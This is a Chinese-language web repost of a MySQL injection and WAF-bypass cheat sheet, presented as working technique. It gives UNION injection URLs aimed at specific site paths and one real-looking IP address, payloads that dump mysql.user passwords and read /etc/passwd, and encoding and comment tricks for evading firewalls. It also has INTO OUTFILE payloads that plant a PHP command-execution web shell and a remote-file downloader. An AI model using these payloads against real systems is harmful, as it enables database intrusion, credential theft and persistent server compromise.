安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > WEB安全 > MYSQL注入绕过技巧

MYSQL注入绕过技巧

时间:2018-01-30来源:未知 作者:安云网点击:
/lingdao.php?id=161.0ORDER BY%2B9 /lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version) Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser) /lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,8.0FROM(
//内容来自安云网

/lingdao.php?id=161.0ORDER BY%2B9

//内容来自安云网


/lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version)

Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)

/lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,8.0FROM(`mysql`.user))

/lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,`user`FROM(`mysql`.user))

/lingdao.php?id=4.990Union(select-.1,`load_file`(0x2F6574632F706173737764),3,4,5,6,7,8)


----------------------------------------------------------------------------

 select user,password from users where user_id=\Nunion select 1,2;
 // \n表示回车,在Linux中表示一行的结束。

 select user,password from users where user_id=1.0union select 1,2;
 //不只是1.0只要是小数都行。

 select user,password from users where user_id=1e0union select 1,2;
 //1e0表示科学计数法。

 //SQL关键字、列名不区分大小写,数据库名表名区分大小写。

 select user,password from users where user_id=1 union select-1,2;
 //select后面如果是数字,可以是-1也可以是+1(即在数字的前面添加数学符号),这样就避免了使用空格。

 select user,password from users where user_id=1 union select~1,2;
  //~1会返回一串数字,我在kali中测试返回18446744073709551614

 select user,password from users where user_id=1 union select!1,2;
 //!表示逻辑非

 select user,password from users where user_id=1 union [email protected],2;
 //@1会返回null,@后面跟什么都返回null。

 select user,password from users where user_id=1 union select'1',2;
 //单引号可以,双引号也可以。
 
 select user,password from users where user_id=1 union select(1),2;
 //小括号可以嵌套多个。
 
 当然能够代替空格的还有注释符/**/
 
 char(109) 等于m
 ascii('m') 等于109
 length('ddd') 等于3
 substring('abc',2,1) 等于b

 select load_file(0x2F6574632F706173737764);
 //和 select load_file('/etc/passwd') Mysql会自动解码十六进制字符串。

 select hex('shenlan'); 的值等于 7368656E6C616E
 //对字符串进行十六进制编码

 select unhex('7368656E6C616E'); 的值等于 shenlan
 //对十六进制字符串进行解密

 select substring(hex(load_file('/tmp/90.jpg')),1,10);
 //使用substring函数对内容进行才分,这样一次便可以有效地读取一块二进制文件,从而克服应用程序可能强加  //的限制。如上面的例子,先读取前10个字符,然后读取第二个字符块是:
 select substring(hex(load_file('/tmp/90.jpg')),11,10);
 
 select 'shenlan' into outfile '/tmp/test.txt';
 //写文件,dumpfile允许写二进制文件。

 避开WAF的其他方法

 使用大小写变种

 使用注释符
 select/**/password/**/from/**/admin;

 使用URL编码
 http://210.36.200.9/xjzx/Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
 //waf对提交的字符串只进行一次url解码,而web application却进行二次url解码,所以得以绕过防火墙检测。

 可用于判断的符号
 =、<、>、<>、like、!=
 

 id=8/*!50380 -1*/
 //判断数据库版本,如果版本编号大于50380则id=7,否则id=8

 [email protected]@version
 //mysql将会采取类似四舍五入的方式来计算@@version,如果@@version=5.1.52,则id=85。如果   //@@version=5.6.11,则id=84

 id=14260-if(@@version>5.1,1,0)
 //如果版本小于或等于5.1,则id不变,否则减一。

 使用非标准入口点
 比如,目标服务器开了80端口和443端口,但是waf对过滤了80没过滤443,这时我们就可以从443入手。或者cookie  注入或者其他http头信息注入。
 
 二阶注入

 混合攻击(xss+sql注入),比如当sql注入点在后台的时候;管理员在内部网登录服务器进行管理,而waf只检测   外来的连接的时候。
 
 select user,password from(users)where user_id=1.0Union(select(1),(2));
 //本例中使用1.0代替1,以去掉两者间本应有的空格,接下来使用小括号将数字括起来以免去空格。

 判读是否存在注入
 id=161.0and%2b1
 id=161.0and false
 id=161 and true=1
 //and、or、xor、&&、||、!、+、-、*、/

 1、按位与“&”
 2、按位或“|”
 3、按位取反“~”
 4、安位异或“^”
 5、按位左移“<<”
 6、按位右移“>>”

 空格:
    09   Horizontal Tab
    0A   New Line
    0B   Vertical Tab
    0C   New Page
    0D   Carriage Return
    A0   Non-breaking Space
    20   Space

 select user,password from users where user_id=1&&1=1;

 常见的URL编码
 20   Space
 2B   +
 2D   -
 7E   ~
 21   !
 40   @
 25   %
 3d   =

 XOR, DIV(除), SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,mod(求余)
 
 select user,password from users limit 0,2;
 //返回的行数,下标从0开始。limit 0,2 表示返回前两行。limit 1,1 表示返回第二行。

 利用MySQL出错爆出字段

 select user,password from users where user_id=1 and 'a'=b'1100001';
 //b表示二进制编码
 'a'=x'61' //x表示十六进制编码
 'a'=unhex(61)  //为真
 'a'=n'a' //n表示uniconde

 select concat(host,0x2D2D2D,password) from mysql.user;
 //0x2D2D2D就是---,用作间隔。

 
 截断符号:# -- /* %00

 延迟
 id=80-if(@@version>5.0,sleep(5),0)

 select user,password from users where user_id=1/*!00000union*//*!select*/1,2;
 //可以正常执行

 mid()、substr()、substring()这三个函数功能相同用法相同

 select password,`host`from`mysql`.`user`union select 1,2;
 //反单引号可用于数据库名、表名、列名上,但是不可用于内容,函数名、关键字上。
 select  `version`();
 //不过这样可以


 strcmp()函数的功能及用法:
 mysql> SELECT STRCMP('text', 'text2');
        -> -1
 mysql> SELECT STRCMP('text2', 'text');
        -> 1
 mysql> SELECT STRCMP('text', 'text');
        -> 0

 
Escape Sequence    Character Represented by Sequence

\0     An ASCII NUL (0x00) character.
\'     A single quote (“'”) character.
\"     A double quote (“"”) character.
\b     A backspace character.
\n     A newline (linefeed) character.
\r     A carriage return character.
\t     A tab character.
\Z     ASCII 26 (Control+Z). See note following the table.
\\     A backslash (“\”) character.
\%     A “%” character. See note following the table.
\_     A “_” character. See note following the table.


 select+user,+password,-1-1.from users where user_id=1;
 //在列名前加+号,不影响返回的值,还可以是-、!之类的运算符,不过结果可能会变。


  select-count(user)as t from mysql.user;
  //返回的列名将变为t,也可以不要as,如 select-count(user)t from mysql.user;

 version()     //数据库版本
 user()         //当前数据库用户
 database()      //当前数据库名


 下面的符号可以用来注释语句:
  #                Hash 语法     
  /*                C-style 语法     
  -- -                SQL 语法     
  ;%00                空字节     
      `                反引号
  
  测试数据库版本
  VERSION()
  @@VERSION
  @@GLOBAL.VERSION
  
  显示数据库用户
  user(), current_user(), current_user, system_user(), session_user()     

  select concat_ws(0x3a,host,password) from mysql.user;
  //0x3a是冒号,表示host和password间的间隔。
  //也可以这样,效果是一样的
  select concat(host,0x3a,password) from mysql.user;
 
  当前数据库名
  database()
  select schema()
  
  显示所有数据库名
  SELECT schema_name FROM information_schema.schemata;
  
  主机名
  @@HOSTNAME
  
  写一个php的shell
  SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
  访问如下链接:
  http://localhost/shell.php?c=cat%20/etc/passwd

  写一个下载者
  SELECT '<?php fputs(fopen($_GET[f],w),file_get_contents($_GET[d]));?>' INTO OUTFILE   '/var/www/get.php'
  也可以进行十六进制编码后在使用
  访问如下链接:
  http://localhost/get.php?f=shell.txt&d=http://localhost/admin.php
  
  INTO OUTFILE 不可以覆盖已存在的文件。
  引号是必须的,因为没有办法可以编码路径名。

  宽字节注入

  select password from mysql.user where user='root'%23te456tt465et%0Aand%23gdgetedfg%0A4=4 limit 1
  //使用随机注释替换空格,%23是#号,%0a是换行符


from:

http://blog.csdn.net/et48_sec/article/details/42113107


本文标题: MYSQL注入绕过技巧 安云网
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容